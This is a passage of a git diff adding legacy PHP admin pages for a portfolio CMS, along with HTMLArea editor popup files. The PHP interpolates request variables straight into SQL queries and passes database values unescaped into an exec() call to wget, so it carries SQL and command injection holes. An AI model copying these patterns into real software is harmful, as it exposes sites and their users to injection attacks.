+function copy_some_file($file,$img_url,$tmp_dir,$log='wgetlog.txt'){
+       $filename = $img_url.$file;
+       exec("wget -O $tmp_dir/$file -a $log $filename");
+       if( filesize( "$tmp_dir/$file" ) == 0 ){  // remove any images that are 0 bytes
+               unlink( "$tmp_dir/$file" );
+               return( false );
+       }
+       else{
+               chmod( "$tmp_dir/$file", 0666 );        // change the permissions of the images
+               return( true);
+       }
+}
+$export_conn = 'host=devsys dbname=glmportfolio2';
+$expDB =& new GLM_DB($export_conn);
+$expDB->conn = 0;
+$expDB->host = 'devsys';
+$expDB->dbname = 'portfolio2';
+echo '<pre>';
+       print_r($expDB);
+echo '</pre>';
+$image_base = 'http://www.gaslightmedia.com/images/original/';
+$query = "select image from bus_category;";
+
+if( $data = $expDB->db_auto_get_data( $query ) )
+{
+       foreach( $data as $row )
+       {
+               $image = addslashes($row['image']);
+               echo '<p>'.$image.'</p>';
+               if( $image != '' )
+               {
+                       copy_some_file($image,$image_base,'./original');
+               }       
+       }
+}
+$query = "select image from bus;";
+if( $bData = $expDB->db_auto_get_data( $query ) )
+{
+       foreach( $bData as $bRow )
+       {
+               $image = addslashes($bRow['image']);
+               echo '<p>'.$image.'</p>';
+               if( $image != '' )
+               {
+                       copy_some_file($image,$image_base,'./original');
+               }       
+       }
+}
+?>
diff --git a/admin/portfolio/index.phtml b/admin/portfolio/index.phtml
new file mode 100644 (file)
index 0000000..550afb8
--- /dev/null
@@ -0,0 +1,3 @@
+<?
+header("Location: list_bus_category.phtml");
+?>
diff --git a/admin/portfolio/list_bus.phtml b/admin/portfolio/list_bus.phtml
new file mode 100644 (file)
index 0000000..a68f30f
--- /dev/null
@@ -0,0 +1,181 @@
+<?php
+session_start();
+session_register( "department" );
+if( $_GET['switch'] == '1' )
+{
+       session_unregister( "department" );
+       $department = $_GET['department']; 
+       session_register( "department" );
+}
+//$Id: list_bus.phtml,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+include( "../../setup.phtml" );
+if(!$dbd = db_connect( CONN2_STR )) 
+{
+       html_error(DB_ERROR_MSG,1);
+}
+$qs = "select category from bus_category where id = $catid";
+if(!$catres = db_exec( $dbd, $qs ) ) 
+{
+       html_error( DB_ERROR_MSG.$qs, 1 );
+}
+$catrow = db_fetch_array( $catres, 0, PGSQL_ASSOC );
+if( isset( $previewed ) )
+{
+       if( $previewed == "t" )
+       {
+               $nd = "f";
+       }
+       else
+       {
+               $nd = "y";
+       }
+       $query = "UPDATE bus_category_bus SET previewed = '$nd' WHERE busid = $id and catid = $catid";
+       db_exec( $dbd, $query );
+}
+if( isset( $home ) )
+{
+       if( $home == "t" )
+       {
+               $nd = "f";
+       }
+       else
+       {
+               $nd = "y";
+       }
+       $query = "UPDATE bus SET home = '$nd' WHERE id = $id";
+       db_exec( $dbd, $query );
+}
+if( isset( $active ) )
+{
+       if( $active == "t" )
+       {
+               $nd = "f";
+       }
+       else
+       {
+               $nd = "y";
+       }
+       $query = "UPDATE bus SET active = '$nd' WHERE id = $id";
+       db_exec( $dbd, $query );
+}
+$qs = "
+SELECT         b.id,b.name,bcb.pos,b.active,b.home,bcb.previewed 
+FROM bus b left outer join bus_category_bus bcb on (bcb.busid = b.id)
+WHERE bcb.catid = $catid 
+ORDER BY bcb.pos";
+if( !$res = db_exec( $dbd, $qs ) ) 
+{
+       html_error( DB_ERROR_MSG.$qs, 1 );
+}
+top( "$catrow[category] Paragraphs", HELP_BASE."bus.phtml?key=list", "ToolboxUserGuide_1.0" );
+$lnav["Add A New Web Portfolio"] = "edit_bus.phtml?catid=$catid";
+if( $department != 'isp' )
+{
+       $lnav["List Categories"] = "list_bus_category.phtml";
+}
+html_nav_table( $lnav, 2 );
+?>
+<form action="update_bus.phtml" method="POST">
+<table id="admin-list-table">
+<tr>
+<th> Function </th>
+<th> Pos </th>
+<th> On/Off    </th>
+<th> Home </th>
+<?php
+if( $department != 'isp' )
+{
+       ?>
+               <th> Previewed </th>
+               <th> Name </th>
+               <?php
+}
+?>
+</tr>
+<?php
+$maxpos = db_numrows( $res );
+for($i = 0; $i < $maxpos; $i++) {
+       $row = db_fetch_array( $res, $i, PGSQL_ASSOC ); 
+       if( !$row['id'] )
+       {
+               html_error( DB_ERROR_MSG, 1 );
+       }
+       $viewurl = ( $department == 'isp' ) ? BASE_URL.'isp-portfolio-detail-49/'.$row["id"].'/': BASE_URL.'portfolio-detail-74/'.$row["id"].'/';
+       ?>
+               <tr>
+               <td nowrap>
+               <a href="edit_bus.phtml?id=<?php echo $row['id'];?>&catid=<?php echo $catid;?>">[Edit]</a>
+               <a href="<?php echo $viewurl;?>" target="_blank">[View]</a>
+               </td>
+               <td align=center nowrap>
+               <?php
+       $pos = "<select style=\"font-size:10pt;\" name=\"pos\" 
+               onChange=location.href=this[this.selectedIndex].value;
+       size=\"1\">";
+       for( $newpos = 1; $newpos <= $maxpos; $newpos++ ) 
+       {
+               $string = "Command=Move&id=$row[id]&newpos=$newpos&catid=$catid";
+               $pos .= "<option value=\"update_bus.phtml?$string\"";
+               if( $newpos == $row['pos'] ) 
+               {
+                       $pos .= " selected";
+               }
+               $pos .= ">$newpos</option>\n";
+       }
+       $pos .= "</select>";
+       echo $pos;
+       ?>
+               </td>
+               <td align=center nowrap>
+               <a href="<?php echo $PHP_SELF."?&catid=$catid&active=$row[active]&id=$row[id]";?>"><?
+               if($row['active'] == "t")
+               {
+                       echo "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0>";
+               }
+               else
+               {
+                       echo "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0>";
+               }
+       ?></a>
+               </td>
+               <?php
+               if( $department != 'isp' )
+               {
+                       ?>
+                               <td align=center nowrap>
+                               <a href="<?php echo $PHP_SELF."?&catid=$catid&home=$row[home]&id=$row[id]";?>"><?
+                               if($row['home'] == "t")
+                               {
+                                       echo "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0>";
+                               }
+                               else
+                               {
+                                       echo "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0>";
+                               }
+
+                       ?></a>
+                               </td> 
+                               <td align=center nowrap>
+                               <a href="<?php echo $PHP_SELF."?&catid=$catid&previewed=$row[previewed]&id=$row[id]";?>"><?
+                               if($row['previewed'] == "t")
+                               {
+                                       echo "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display Preview\" border=0>";
+                               }
+                               else
+                               {
+                                       echo "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display as a Preview (thumbnail)\" border=0>";
+                               }
+
+                       ?></a>
+                               </td>
+                               <?php
+               }
+       ?>
+               <td class="navtd2" width=80%><?echo $row['name'];?></td>
+               </tr>
+               <?php 
+}
+echo '</table>
+</form>';
+footer();
+?>
diff --git a/admin/portfolio/list_bus_category.phtml b/admin/portfolio/list_bus_category.phtml
new file mode 100644 (file)
index 0000000..f8a5a24
--- /dev/null
@@ -0,0 +1,244 @@
+<?php
+session_start();
+session_register("expanded");
+session_register("department");
+if( $_GET['switch'] == '1' )
+{
+       session_unregister("department");
+       $department = $_GET['department']; 
+       session_register("department");
+}
+if( is_numeric( $_GET['expand'] ) )
+{
+       // code for adding expanded 
+       $expanded[$_GET['expand']] = $_GET['expand'];
+}
+if( is_numeric( $fold ) )
+{
+       // code for folding 
+       $oldexp = $expanded;
+       session_unregister("expanded");
+       unset($oldexp[$fold]);
+       $expanded = $oldexp; 
+       session_register("expanded");
+}
+//$Id: list_bus_category.phtml,v 1.2 2009/12/14 20:10:00 matrix Exp $
+include("../../setup.phtml");
+include("toolbox_setup.inc");
+include(BASE."classes/class_template.inc");
+
+if(!$conn = db_connect( CONN2_STR )) 
+{
+       html_error(DB_ERROR_MSG,0);
+}
+top("Pages (List)",HELP_BASE."buscat.phtml?key=list","ToolboxUserGuide_1.0");
+echo '<div id="toolbox-list-cat">';
+if(isset($active))
+{
+       if($active=="t")
+       {
+               $nd = "f";
+       }
+       else
+       {
+               $nd = "y";
+       }
+       $query = "UPDATE bus_category SET active = '$nd' WHERE id = $id";
+       db_exec($conn,$query);
+    $toolbox =& new GLM_TEMPLATE(1);
+    $toolbox->cache->remove('bottomNav', 'Toolbox');
+    $toolbox->cache->clean('Nav');
+}
+$lnav["Edit Positions"] = "list_bus_category.phtml?show_pos=1";
+$lnav["Expand All"] = "list_bus_category.phtml?expand_all=1";
+$lnav["Collapse All"] = "list_bus_category.phtml?collaspe_all=1";
+unset($lnav["List Pages"]);
+html_nav_table($lnav, 6);
+?>
+<table id="admin-list-table" style="width:500px;">
+<tr>
+<td>
+<form name="search_form" action="<?php echo $PHP_SELF;?>">
+<input name="cat_search" value="<?php echo stripslashes($cat_search);?>">
+<input type="submit" name="Command" value="Search Pages">
+</form>
+</td>
+</tr>
+
+<tr><td>
+
+<form action="update_bus_category.phtml" method="POST">
+<?
+include_once("threads.phtml");
+if( $department == 'isp' )
+{
+       $plus = "and id = ".ISP_CATID;
+}
+else
+{
+       $plus = "and id != ".ISP_CATID;
+}
+if( !isset( $cat_search ) || $cat_search == '' )
+{
+       $qs = "SELECT   id,parent,pos,category,active
+               FROM    bus_category
+               WHERE   parent is not null
+               $plus
+               ORDER BY pos;";
+
+       if(!$res = pg_Exec($conn,$qs))
+       {
+               echo "Failure".$qs;
+       }
+       for($i=0;$i<pg_numrows($res);$i++)
+       {
+               $data = pg_fetch_array($res,$i,PGSQL_ASSOC);
+               $id = $data[id];
+               $category = $data["category"];
+               $parent = $data[parent];
+               $position = $data[pos];
+               if(TOOLBOX_FLAGS == 1)
+               {
+                       if($data[active] == 't')
+                       {
+                               $alt = "Don't display";
+                       }
+                       else
+                       {
+                               $alt = "Display";
+                       }
+                       $active = '<a title="'.$alt.'" href="'.$PHP_SELF."?active=$data[active]&id=$data[id]".'">';
+                       if($data[active] == "t")
+                       {
+                               $active .= "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0></a>";
+                       }
+                       else
+                       {
+                               $active .= "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0></a>";
+                       }
+               }
+               if($show_pos)
+               {
+                       $qs = "SELECT   MAX(pos) as maxpos
+                               FROM    bus_category
+                               WHERE   parent = $parent";
+
+                       if(!$maxresult = db_exec($conn,$qs)) 
+                       {
+                               html_error(DB_ERROR_MSG.$qs,0);
+                       }
+                       $max_data = db_fetch_array($maxresult,0,PGSQL_ASSOC);
+                       $maxpos = $max_data['maxpos'];
+                       $pos = "<font size=-4><select name=pos 
+                               onChange=location.href=this[this.selectedIndex].value;
+                       size=1>";
+                       for($newpos=1;$newpos<=$maxpos;$newpos++)
+                       {
+                               $string = "Command=Move&id=$id&parent=$parent&newpos=$newpos";
+                               $pos .= "<option value=\"update_bus_category.phtml?$string\"";
+                               if($newpos == $position)
+                               {
+                                       $pos .= " selected";
+                               }
+                               $pos .= ">$newpos\n";
+                       }
+                       $pos .= "</select></font>";
+               }
+               if( $expand_all == true )
+               {
+                       $close = false;
+                       $expanded[$id] = 1;
+               }
+               if( $collaspe_all == true )
+               {
+                       $close = true;
+                       unset($expanded[$id]);
+               }
+               if( $expanded[$id] )
+               {
+                       $close = false;
+               }
+               else
+               {
+                       $close = true;
+               }
+               $toolbox =& new GLM_TEMPLATE( NULL );
+               $url = $toolbox->get_seo_url( $id );
+               $threads[] = array("ID" => $id,"content" => $category,"pos" => $pos,"parent" =>
+                               $parent,"active" => $active,"closed" => $close,'seo_url'=>$url);
+       }
+
+       $links = array(
+                       "beginLevel" => "<ul>",
+                       "beginLevel2" => "<ul id=\"toolbox\">",
+                       "endLevel" => "</ul>",
+                       "beginItem" => "<li>",
+                       "beginItem2" => "<li class=\"toolboxArrow\">",
+                       "endItem" => "</li>");
+       if(db_numrows($res) != 0)
+       {
+               $myThread = new Thread($links); 
+               $converted = $myThread->sortChilds($threads); //sort threads by parent
+               print $myThread->convertToThread($converted, $converted[0]); //print the threads
+       }
+}
+else
+{
+       $toolbox =& new GLM_TEMPLATE( NULL );
+       $query = "select * from bus_category where (id in 
+       (select catid from bus_category_bus where busid in 
+               (select id from bus where name ilike '%$cat_search%'))
+       or category ilike '%$cat_search%') $plus;";
+       //$query = "select * from bus_category where category ilike '%$cat_search%' $plus;";
+       //echo $query;
+       $res = pg_exec( $conn, $query );
+       if( pg_numrows( $res ) > 0 )
+       {
+               echo '<ul id="toolbox">';
+               while( $row = pg_fetch_object( $res ) )
+               {
+                       if(TOOLBOX_FLAGS == 1)
+                       {
+                               if($row->active == 't')
+                               {
+                                       $alt = "Don't display";
+                               }
+                               else
+                               {
+                                       $alt = "Display";
+                               }
+                               $active = '<a title="'.$alt.'" href="'.$PHP_SELF.'?cat_search='.urlencode(stripslashes($cat_search)).'&amp;active='.$row->active.'&id='.$row->id.'">';
+                               if($row->active == "t")
+                               {
+                                       $active .= "<img src=\"".URL_BASE ."images/grnball.gif\" alt=\"Don't display\" border=0></a>";
+                               }
+                               else
+                               {
+                                       $active .= "<img src=\"".URL_BASE ."images/redball.gif\" alt=\"Display\" border=0></a>";
+                               }
+                       }
+                       $url = $toolbox->get_seo_url( $row->id );
+                       $params = "&amp;cat_search=".urlencode(stripslashes($cat_search));
+                       echo '<li>
+                               <a href="edit_bus_category.phtml?id='.$row->id.$params.'">[Edit]</a>
+                               <a href="list_bus.phtml?catid='.$row->id.$params.'">[Paragraphs]</a>
+                               <a href="'.$url.'" target="_BLANK">[Preview]</a>
+                               '.$active.'
+                               <strong>'.strip_tags($row->category).'</strong>
+                               </li>';
+               }
+               echo '</ul>';
+       }
+       else
+       {
+               echo 'Nothing found!';
+       }
+}
+?>
+</form>
+</td></tr>
+</table>
+</div>
+<?
+footer();
+?>
diff --git a/admin/portfolio/popups/about.html b/admin/portfolio/popups/about.html
new file mode 100644 (file)
index 0000000..9b05218
--- /dev/null
@@ -0,0 +1,55 @@
+<html style="width: 380px; height: 250px;">
+<head><title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+function closeAbout() {
+  __dlg_close(null);
+}
+</script>
+<style>
+  html,body,textarea { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+  tt { font-size: 120%; }
+  body { padding: 0px; background: ButtonFace; color: ButtonText; }
+  a:link, a:visited { color: #00f; }
+  a:hover { color: #f00; }
+  a:active { color: #f80; }
+  button { font: 11px tahoma,verdana,sans-serif; }
+</style></head>
+<body onload="__dlg_init()">
+
+<div style="background-color: #fff; color: #000; padding: 3px; border-bottom: 1px solid #000;">
+<div style="font-family: 'arial black',arial,sans-serif; font-size: 28px;
+letter-spacing: -1px;">
+<span style="position: relative; top: -0.2em">H</span><span
+style="position: relative; top: 0.1em">T</span><span
+style="position: relative; top: -0.1em">M</span><span
+style="position: relative; top: 0.2em">L</span> Area
+3.0 <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. beta ]</span></div>
+
+<div style="text-align: right; font-size: 90%; margin-bottom: 1em">
+Released on Aug 11, 2003 [21:30] GMT
+</div>
+</div>
+
+<div style="margin: 1em">
+
+<p>A free WYSIWYG editor replacement for <tt>&lt;textarea&gt;</tt> fields.</p>
+
+<p>For full source code and docs, visit:<br />
+<a href="http://www.interactivetools.com/products/htmlarea/" target="_blank"
+>http://www.interactivetools.com/products/htmlarea/</a></p>
+
+<p>Version 3.0 developed and maintained by <a href="http://students.infoiasi.ro/~mishoo/" target="_blank">mishoo</a>.</p>
+
+<p>&copy; 2002, 2003 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc. All Rights Reserved.</p>
+
+</div>
+
+<div style="text-align: right; padding: 0px 3px 3px 0px;">
+<button type="button" onclick="closeAbout()">I agree it's cool</button>
+</div>
+
+</body></html>
+
+
diff --git a/admin/portfolio/popups/blank.html b/admin/portfolio/popups/blank.html
new file mode 100644 (file)
index 0000000..8c7fe21
--- /dev/null
@@ -0,0 +1,2 @@
+<html>
+</html>
\ No newline at end of file
diff --git a/admin/portfolio/popups/custom2.html b/admin/portfolio/popups/custom2.html
new file mode 100644 (file)
index 0000000..5591f6c
--- /dev/null
@@ -0,0 +1,35 @@
+<html style="width:300px; Height: 60px;">
+ <head>
+  <title>Select Phrase</title>
+<script language="javascript">
+
+var myTitle = window.dialogArguments;
+document.title = myTitle;
+
+
+function returnSelected() {
+  var idx  = document.all.textPulldown.selectedIndex;
+  var text = document.all.textPulldown[idx].text;
+
+  window.returnValue = text;          // set return value
+  window.close();                     // close dialog
+}
+
+</script>
+</head>
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>
+
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">
+<div align=center>
+
+<select name="textPulldown">
+<option>The quick brown</option>
+<option>fox jumps over</option>
+<option>the lazy dog.</option>
+</select>
+
+<input type="button" value=" Go " onClick="returnSelected()">
+
+</div>
+</form>
+</body></html>
\ No newline at end of file
diff --git a/admin/portfolio/popups/editor_help.html b/admin/portfolio/popups/editor_help.html
new file mode 100644 (file)
index 0000000..b34de82
--- /dev/null
@@ -0,0 +1,16 @@
+<html>
+ <head>
+  <title>Editor Help</title>
+  <style>
+    body, td, p, div { font-family: arial; font-size: x-small; }
+  </style>
+ </head>
+<body>
+
+<h2>Editor Help<hr></h2>
+
+Todo...
+
+
+</body>
+</html>
\ No newline at end of file
diff --git a/admin/portfolio/popups/fullscreen.html b/admin/portfolio/popups/fullscreen.html
new file mode 100644 (file)
index 0000000..cd67bdd
--- /dev/null
@@ -0,0 +1,162 @@
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css">
+@import url(../htmlarea.css);
+html, body {   margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<!--
+<script type="text/javascript" src="../htmlarea.js"></script>
+<script type="text/javascript" src="../htmlarea-lang-en.js"></script>
+<script type="text/javascript" src="../dialog.js"></script>
+-->
+
+<script type="text/javascript">
+// load same scripts that were present in the opener page
+var scripts = opener.document.getElementsByTagName("script");
+var head = document.getElementsByTagName("head")[0];
+for (var i = 0; i < scripts.length; ++i) {
+  var script = scripts[i];
+  if (typeof script.src != "undefined" && /\S/.test(script.src)) {
+    // document.write("<scr" + "ipt type=" + "\"script/javascript\"");
+    // document.write(" src=\"../" + script.src + "\"></scr" + "ipt>");
+    var new_script = document.createElement("script");
+    if (/^http:/i.test(script.src)) {
+      new_script.src = script.src;
+    } else {
+      new_script.src = "../" + script.src;
+    }
+    head.appendChild(new_script);
+  }
+}
+</script>
+
+<script type="text/javascript">
+
+var parent_object  = null;
+var editor         = null;      // to be initialized later [ function init() ]
+
+/* ---------------------------------------------------------------------- *\
+  Function    : 
+  Description : 
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc(ev) {
+  if (document.all) {
+    // IE
+    ev = window.event;
+  }
+  if (ev.keyCode == 27) {
+    // update_parent();
+    window.close();
+    return;
+  }
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : cloneObject
+  Description : copy an object by value instead of by reference
+  Usage       : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+  var newObj          = new Object; 
+
+  // check for array objects
+  if (obj.constructor.toString().indexOf("function Array(") == 1) {
+    newObj = obj.constructor();
+  }
+
+  // check for function objects (as usual, IE is fucked up)
+  if (obj.constructor.toString().indexOf("function Function(") == 1) {
+    newObj = obj; // just copy reference to it
+  } else for (var n in obj) {
+    var node = obj[n];
+    if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+    else                         { newObj[n] = node; }
+  }
+  
+  return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : resize_editor
+  Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() {  // resize editor to fix window
+  var newHeight;
+  if (document.all) {
+    // IE
+    newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;
+    if (newHeight < 0) { newHeight = 0; }
+  } else {
+    // Gecko
+    newHeight = window.innerHeight - editor._toolbar.offsetHeight;
+  }
+  if (editor.config.statusBar) {
+    newHeight -= editor._statusBar.offsetHeight;
+  }
+  editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : init
+  Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+  parent_object      = opener.HTMLArea._object;
+  var config         = cloneObject( parent_object.config );
+  config.editorURL   = "../";
+  config.width       = "100%";
+  config.height      = "auto";
+
+  // change maximize button to minimize button
+  config.btnList["popupeditor"] = [ 'Minimize Editor', 'images/fullscreen_minimize.gif', true,
+                                    function() { window.close(); } ];
+
+  // generate editor and resize it
+  editor = new HTMLArea("editor", config);
+  editor.generate();
+  editor._iframe.style.width = "100%";
+  editor._textArea.style.width = "100%";
+  resize_editor();
+
+  // set child window contents and event handlers, after a small delay
+  setTimeout(function() {
+    editor.setHTML(parent_object.getInnerHTML());
+
+    // switch mode if needed
+    if (parent_object._mode == "textmode") { editor.setMode("textmode"); }
+
+    // continuously update parent editor window
+    setInterval(update_parent, 500);
+
+    // setup event handlers
+    document.body.onkeypress = _CloseOnEsc;
+    editor._doc.body.onkeypress = _CloseOnEsc;
+    editor._textArea.onkeypress = _CloseOnEsc;
+    window.onresize = resize_editor;
+  }, 333);                      // give it some time to meet the new frame
+}
+
+/* ---------------------------------------------------------------------- *\
+  Function    : update_parent
+  Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+  // use the fast version
+  parent_object.setHTML(editor.getInnerHTML());
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">
+<textarea name="editor" id="editor" style="width:100%; height:300px">&nbsp;</textarea>
+</form>
+
+</body></html>
diff --git a/admin/portfolio/popups/insert_image.html b/admin/portfolio/popups/insert_image.html
new file mode 100644 (file)
index 0000000..55e56a0
--- /dev/null
@@ -0,0 +1,216 @@
+<html style="width: 398; height: 218">
+
+<head>
+  <title>Insert Image</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+var preview_window = null;
+
+function Init() {
+  __dlg_init();
+  document.getElementById("f_url").focus();
+};
+
+function onOK() {
+  var required = {
+    "f_url": "You must enter the URL",
+    "f_alt": "Please enter the alternate text"
+  };
+  for (var i in required) {
+    var el = document.getElementById(i);
+    if (!el.value) {
+      alert(required[i]);
+      el.focus();
+      return false;
+    }
+  }
+  // pass data back to the calling window
+  var fields = ["f_url", "f_alt", "f_align", "f_border",
+                "f_horiz", "f_vert"];
+  var param = new Object();
+  for (var i in fields) {
+    var id = fields[i];
+    var el = document.getElementById(id);
+    param[id] = el.value;
+  }
+  if (preview_window) {
+    preview_window.close();
+  }
+  __dlg_close(param);
+  return false;
+};
+
+function onCancel() {
+  if (preview_window) {
+    preview_window.close();
+  }
+  __dlg_close(null);
+  return false;
+};
+
+function onPreview() {
+  alert("FIXME: preview needs rewritten:\n  show the image inside this window instead of opening a new one.");
+  var f_url = document.getElementById("f_url");
+  var url = f_url.value;
+  if (!url) {
+    alert("You have to enter an URL first");
+    f_url.focus();
+    return false;
+  }
+  var img = new Image();
+  img.src = url;
+  var win = null;
+  if (!document.all) {
+    win = window.open("about:blank", "ha_imgpreview", "toolbar=no,menubar=no,personalbar=no,innerWidth=100,innerHeight=100,scrollbars=no,resizable=yes");
+  } else {
+    win = window.open("about:blank", "ha_imgpreview", "channelmode=no,directories=no,height=100,width=100,location=no,menubar=no,resizable=yes,scrollbars=no,toolbar=no");
+  }
+  preview_window = win;
+  var doc = win.document;
+  var body = doc.body;
+  if (body) {
+    body.innerHTML = "";
+    body.style.padding = "0px";
+    body.style.margin = "0px";
+    var el = doc.createElement("img");
+    el.src = url;
+
+    var table = doc.createElement("table");
+    body.appendChild(table);
+    table.style.width = "100%";
+    table.style.height = "100%";
+    var tbody = doc.createElement("tbody");
+    table.appendChild(tbody);
+    var tr = doc.createElement("tr");
+    tbody.appendChild(tr);
+    var td = doc.createElement("td");
+    tr.appendChild(td);
+    td.style.textAlign = "center";
+
+    td.appendChild(el);
+    win.resizeTo(el.offsetWidth + 30, el.offsetHeight + 30);
+  }
+  win.focus();
+  return false;
+};
+</script>
+
+<style type="text/css">
+html, body {
+  background: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+  margin: 0px;
+  padding: 0px;
+}
+body { padding: 5px; }
+table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+  margin-top: 5px;
+  margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Image</div>
+
+<form action="" method="get">
+<table border="0" width="100%" style="padding: 0px; margin: 0px">
+  <tbody>
+
+  <tr>
+    <td style="width: 7em; text-align: right">Image URL:</td>
+    <td><input type="text" name="url" id="f_url" style="width:75%"
+      title="Enter the image URL here" />
+      <button name="preview" onclick="return onPreview();"
+      title="Preview the image in a new window">Preview</button>
+    </td>
+  </tr>
+  <tr>
+    <td style="width: 7em; text-align: right">Alternate text:</td>
+    <td><input type="text" name="alt" id="f_alt" style="width:100%"
+      title="For browsers that don't support images" /></td>
+  </tr>
+
+  </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+  title="Positioning of this image">
+  <option value=""                             >Not set</option>
+  <option value="left"                         >Left</option>
+  <option value="right"                        >Right</option>
+  <option value="texttop"                      >Texttop</option>
+  <option value="absmiddle"                    >Absmiddle</option>
+  <option value="baseline" selected="1"        >Baseline</option>
+  <option value="absbottom"                    >Absbottom</option>
+  <option value="bottom"                       >Bottom</option>
+  <option value="middle"                       >Middle</option>
+  <option value="top"                          >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5"
+title="Leave empty for no border" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Horizontal:</div>
+<input type="text" name="horiz" id="f_horiz" size="5"
+title="Horizontal padding" />
+
+<p />
+
+<div class="fr">Vertical:</div>
+<input type="text" name="vert" id="f_vert" size="5"
+title="Vertical padding" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/portfolio/popups/insert_table.html b/admin/portfolio/popups/insert_table.html
new file mode 100644 (file)
index 0000000..efdf3f0
--- /dev/null
@@ -0,0 +1,173 @@
+<html style="width: 398; height: 218">
+
+<head>
+  <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function Init() {
+  __dlg_init();
+  document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+  var required = {
+    "f_rows": "You must enter a number of rows",
+    "f_cols": "You must enter a number of columns"
+  };
+  for (var i in required) {
+    var el = document.getElementById(i);
+    if (!el.value) {
+      alert(required[i]);
+      el.focus();
+      return false;
+    }
+  }
+  var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+                "f_align", "f_border", "f_spacing", "f_padding"];
+  var param = new Object();
+  for (var i in fields) {
+    var id = fields[i];
+    var el = document.getElementById(id);
+    param[id] = el.value;
+  }
+  __dlg_close(param);
+  return false;
+};
+
+function onCancel() {
+  __dlg_close(null);
+  return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+  background: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+  margin: 0px;
+  padding: 0px;
+}
+body { padding: 5px; }
+table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+  margin-top: 5px;
+  margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+  <tbody>
+
+  <tr>
+    <td style="width: 4em; text-align: right">Rows:</td>
+    <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+    <td></td>
+    <td></td>
+    <td></td>
+  </tr>
+  <tr>
+    <td style="width: 4em; text-align: right">Cols:</td>
+    <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+    <td style="width: 4em; text-align: right">Width:</td>
+    <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
